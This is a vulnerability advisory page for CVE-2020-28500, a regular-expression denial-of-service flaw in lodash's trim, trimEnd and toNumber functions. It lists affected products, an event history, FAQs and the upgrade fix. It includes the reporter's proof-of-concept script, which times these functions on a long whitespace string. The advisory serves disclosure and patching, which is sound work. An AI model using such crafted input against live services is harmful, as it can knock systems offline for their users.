CVE-2020-28500: Regular Expression Denial of Service (ReDoS)

Published Feb 15, 2021
·
Updated

A flaw was found in nodejs-lodash. A Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions is possible.

Other sources

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen): js var lo = require('lodash');

function buildblank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = buildblank(50000) var time0 = Date.now(); lo.trim(s) var timecost0 = Date.now() - time0; console.log("timecost0: " + timecost0); var time1 = Date.now(); lo.toNumber(s) var timecost1 = Date.now() - time1; console.log("timecost1: " + timecost1); var time2 = Date.now(); lo.trimEnd(s); var timecost2 = Date.now() - time2; console.log("timecost2: " + timecost2);

All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function buildblank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = buildblank(50000) var time0 = Date.now(); lo.trim(s) var timecost0 = Date.now() - time0; console.log("timecost0: " + timecost0) var time1 = Date.now(); lo.toNumber(s) var timecost1 = Date.now() - time1; console.log("timecost1: " + timecost1) var time2 = Date.now(); lo.trimEnd(s) var timecost2 = Date.now() - time2; console.log("timecost2: " + timecost2)

Reference: https://snyk.io/vuln/SNYK-JS-LODASH-1018905

Red Hat

Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Affected Software

54 affected componentsFixes available
redhat/cockpit-ovirt<0:0.15.1-2.el8e
0:0.15.1-2.el8e
redhat/ovirt-engine-ui-extensions<0:1.2.6-1.el8e
0:1.2.6-1.el8e
redhat/ovirt-web-ui<0:1.6.9-1.el8e
0:1.6.9-1.el8e
npm/lodash.trim<=4.5.1
npm/lodash.trimend<=4.5.1
npm/lodash-es<4.17.21
4.17.21
npm/lodash<4.17.21
4.17.21
Lodash Lodash Node.js<4.17.21
Oracle Banking Corporate Lending Process Management=14.2.0
Oracle Banking Corporate Lending Process Management=14.3.0
Oracle Banking Corporate Lending Process Management=14.5.0
Oracle Banking Credit Facilities Process Management=14.2.0
Oracle Banking Credit Facilities Process Management=14.3.0
Oracle Banking Credit Facilities Process Management=14.5.0
Oracle Banking Extensibility Workbench=14.2.0
Oracle Banking Extensibility Workbench=14.3.0
Oracle Banking Extensibility Workbench=14.5.0
Oracle Banking Supply Chain Finance=14.2.0
Oracle Banking Supply Chain Finance=14.3.0
Oracle Banking Supply Chain Finance=14.5.0
Oracle Banking Trade Finance Process Management=14.2.0
Oracle Banking Trade Finance Process Management=14.3.0
Oracle Banking Trade Finance Process Management=14.5.0
Oracle Communications Cloud Native Core Policy=1.11.0
Oracle Communications Design Studio=7.4.2
Oracle Communications Services Gatekeeper=7.0
Oracle Communications Session Border Controller=8.4
Oracle Communications Session Border Controller=9.0
Oracle Enterprise Communications Broker=3.2.0
Oracle Enterprise Communications Broker=3.3.0
Oracle Financial Services Crime And Compliance Management Studio=8.0.8.2.0
Oracle Financial Services Crime And Compliance Management Studio=8.0.8.3.0
Oracle Health Sciences Data Management Workbench=2.5.2.1
Oracle Health Sciences Data Management Workbench=3.0.0.0
Oracle JD Edwards EnterpriseOne Tools<9.2.6.1
Oracle PeopleSoft Enterprise PeopleTools=8.58
Oracle PeopleSoft Enterprise PeopleTools=8.59
Oracle Primavera Gateway>=17.12.0<=17.12.11
Oracle Primavera Gateway>=18.8.0<=18.8.12
Oracle Primavera Gateway>=19.12.0<=19.12.11
Oracle Primavera Gateway>=20.12.0<=20.12.7
Oracle Primavera Unifier>=17.7<=17.12
Oracle Primavera Unifier=18.8
Oracle Primavera Unifier=19.12
Oracle Primavera Unifier=20.12
Oracle Retail Customer Management and Segmentation Foundation=19.0
Siemens Sinec Ins<1.0
Siemens Sinec Ins=1.0
Siemens Sinec Ins=1.0-sp1
IBM Business Automation Insights<=25.0.0
IBM Business Automation Insights<=24.0.1
IBM Business Automation Insights<=24.0.0
redhat/nodejs-lodash<4.17.21
4.17.21
debian/node-lodash
4.17.21+dfsg+~cs8.31.173-14.17.21+dfsg+~cs8.31.198.20210220-94.18.1+dfsg-3

Event History

Feb 15, 2021
CVE Published
12:00 AM
CVE Published
via MITRE·11:10 AM
Data Sourced
via MITRE·11:10 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 AM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Red Hat·08:53 PM
DescriptionSeverityAffected Software
Jan 6, 2022
Advisory Published
08:30 PM
Nov 3, 2025
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Jun 9, 2026
Data Sourced
via Debian·06:09 PM
DescriptionAffected Software
Data Sourced
via Launchpad·06:09 PM
Description
Jun 10, 2026
Data Sourced
via Ubuntu·06:08 PM
RemedyDescriptionSeverityAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is CVE-2020-28500?

CVE-2020-28500 is a vulnerability in nodejs-lodash that allows for Regular Expression Denial of Service (ReDoS) attacks via the toNumber, trim, and trimEnd functions.

2

What is the severity of CVE-2020-28500?

CVE-2020-28500 has a severity rating of 7.5, which is considered high.

3

Which software versions are affected by CVE-2020-28500?

All versions of package lodash prior to 4.17.21 are vulnerable to CVE-2020-28500, including the following software versions: cockpit-ovirt 0:0.15.1-2.el8e, ovirt-engine-ui-extensions 0:1.2.6-1.el8e, ovirt-web-ui 0:1.6.9-1.el8e, nodejs-lodash 4.17.21, lodash.trim 4.17.21, lodash.trimend 4.17.21, lodash-es 4.17.21, and lodash 4.17.21.

4

How can I fix CVE-2020-28500?

To fix CVE-2020-28500, you should update the affected software packages to version 4.17.21 or later.

5

Where can I find more information about CVE-2020-28500?

You can find more information about CVE-2020-28500 at the following references: IBM X-Force Exchange (https://exchange.xforce.ibmcloud.com/vulnerabilities/196972), IBM Support (https://www.ibm.com/support/pages/node/6570957), CVE website (https://www.cve.org/CVERecord?id=CVE-2020-28500), NVD (https://nvd.nist.gov/vuln/detail/CVE-2020-28500), and Snyk (https://snyk.io/vuln/SNYK-JS-LODASH-1018905).

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203